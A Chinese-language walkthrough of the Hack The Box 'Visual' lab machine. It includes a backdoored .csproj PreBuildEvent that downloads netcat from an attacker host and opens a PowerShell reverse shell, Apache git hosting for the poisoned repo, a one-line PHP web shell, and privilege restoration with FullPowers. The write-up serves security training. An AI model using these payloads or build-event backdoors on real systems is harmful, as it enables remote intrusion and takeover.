HTB之Visual靶机篇

0x00 HTB

使用nmap扫描目标ip

nmap -p-  --min-rate=1000 10.10.11.234

可以看到,开放了80端口

给定的ip有一个Web站点,该站点有个功能点是能够在线编译.NETC#的网站。

存在的漏洞是:.NET预编译过程可以执行预编译事件;我们可以通过定义预编译事件执行系统命令,反弹shell。.NET定义预编译事件的文件名为.csproj。如下所示:

<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFramework>net6.0</TargetFramework>
    <LangVersion>preview</LangVersion>
	<PreBuildEvent>powershell.exe -c "curl http://10.10.16.3:8081/nc64.exe -o C:/Windows/Tasks/nc.exe; C:/Windows/Tasks/nc.exe 10.10.16.3 9001 -e powershell"</PreBuildEvent>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="Microsoft.OpenApi" Version="1.3.0-preview" />
    <PackageReference Include="Swashbuckle.AspNetCore" Version="6.2.1" />
  </ItemGroup>

  <ItemGroup>
    <ProjectReference Include="..\Sample.DotNet6.Api.Core\Sample.DotNet6.Api.Core.csproj" />
  </ItemGroup>

</Project>

反弹shell的payload为:

powershell.exe -c "curl http://10.10.16.2:8081/nc64.exe -o C:/Windows/Tasks/nc.exe; C:/Windows/Tasks/nc.exe 10.10.16.2 9001 -e powershell"
  • 使用powershell执行""中的命令;下载目标8081端口的netcat并保存到C:/Windows/Tasks/nc.exe这个目录下。
  • 执行Netcat建立一个反向连接,反向连接成功后将输入和输出重定向到Powershell进程。

0x01 后门攻击

clone一个.NET项目

git clone https://github.com/hgmauri/sample-dotnet6

修改其中的.csproj文件如0x00中所提到的。

配置apache2来托管我们的git存储库。需要的模块如下:

sudo a2enmod cgi
sudo a2enmod alias
sudo a2enmod env
sudo service apache2 resart

之后创建目录、修改目录所有者为Apache

sudo mkdir /var/www/html/git-repos
sudo chown -R www-data:www-data /var/www/html/git-repos

添加如下内容到Apache2的配置文件/etc/apache2/apache2.conf

ScriptAlias /git/ /usr/lib/git-core/git-http-backend/ 
SetEnv GIT_PROJECT_ROOT /var/www/html/git-repos 
SetEnv GIT_HTTP_EXPORT_ALL 
Options +ExecCGI AddHandler cgi-script .cgi 
DirectoryIndex gitweb.cgi 
<Directory /usr/lib/git-core> 
	Require all granted 
</Directory>

这段内容主要在做一些目录映射,以及一些git相关配置的事情。

初始化Git仓库

git init
git add .
git commit -m "2024-3-27"

使用python的http.server模块提供http服务在8081端口;使用nc监听9001端口

python3 -m http.server 8080 
rlwrap nc -lvnp 9001

rlwrap是一个用于增强命令行输入的工具,作用是提供命令历史记录,命令补全等功能。

-lvnp:告诉NetCat监听9001端口(p)、并且以监听模式(-l)、启用日志记录(-v)、不进行DNS解析(-n)

0x02 横向移动

image-20240327150330762

成功反弹shell之后,开始横向移动。

往web中写入shell

Set-Content -path "C:\xampp\htdocs\cmd.php" -Value '<?php system($_GET["cmd"]);?>'

再开一个netcat监听

rlwrap nc -lvnp 9001

在Web中访问这个URL

10.10.11.234/cmd.php?cmd=whoami

得到一个新账户

nt authority\local service 

修改nc64.exe的权限

icacls.exe C:\windows\Tasks\nc.exe /grant Everyone:F
  • icacls.exe是Windows上用来修改文件ACL(访问控制)的命令行工具。它允许用户控制对文件和目录的权限设置
  • /grant Everyone:F 授予所有组完全控制权限。

访问下面这个URL反弹shell

/cmd.php?cmd=C:\windows\tasks\nc.exe%20-e%20powershell%2010.10.14.44%209001

0x03 提权

PS C:\windows\temp> whoami /priv
whoami /priv

PRIVILEGES INFORMATION                              
----------------------                              
                                                    
Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

使用FullPowers恢复权限

PS C:\windows\temp> wget 10.10.16.3:8081/FullPowers.exe -O c:\windows\temp\full1.exe
wget 10.10.16.3:8081/FullPowers.exe -O c:\windows\temp\full1.exe
PS C:\windows\temp> .\full1.exe
.\full1.exe
[+] Started dummy thread with id 2224
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

到此,成功的恢复了所有的权限,特别是恢复了SelmpersonatePrivilege。可以使用GodPotato进行提权。

0x04 总结

金土豆提权我老是成功不了不知道为什么~ 可能缘分未到,哈哈哈哈 后面有机会再做。

这是我第一次打HTB靶机,断断续续经历了四天。利用Web站点的.NET预编译植入命令,反弹shell。然后横向移动、恢复权限、提权。这整一个流程是我认知里的红队。

搞渗透真的是太酷啦!!!😎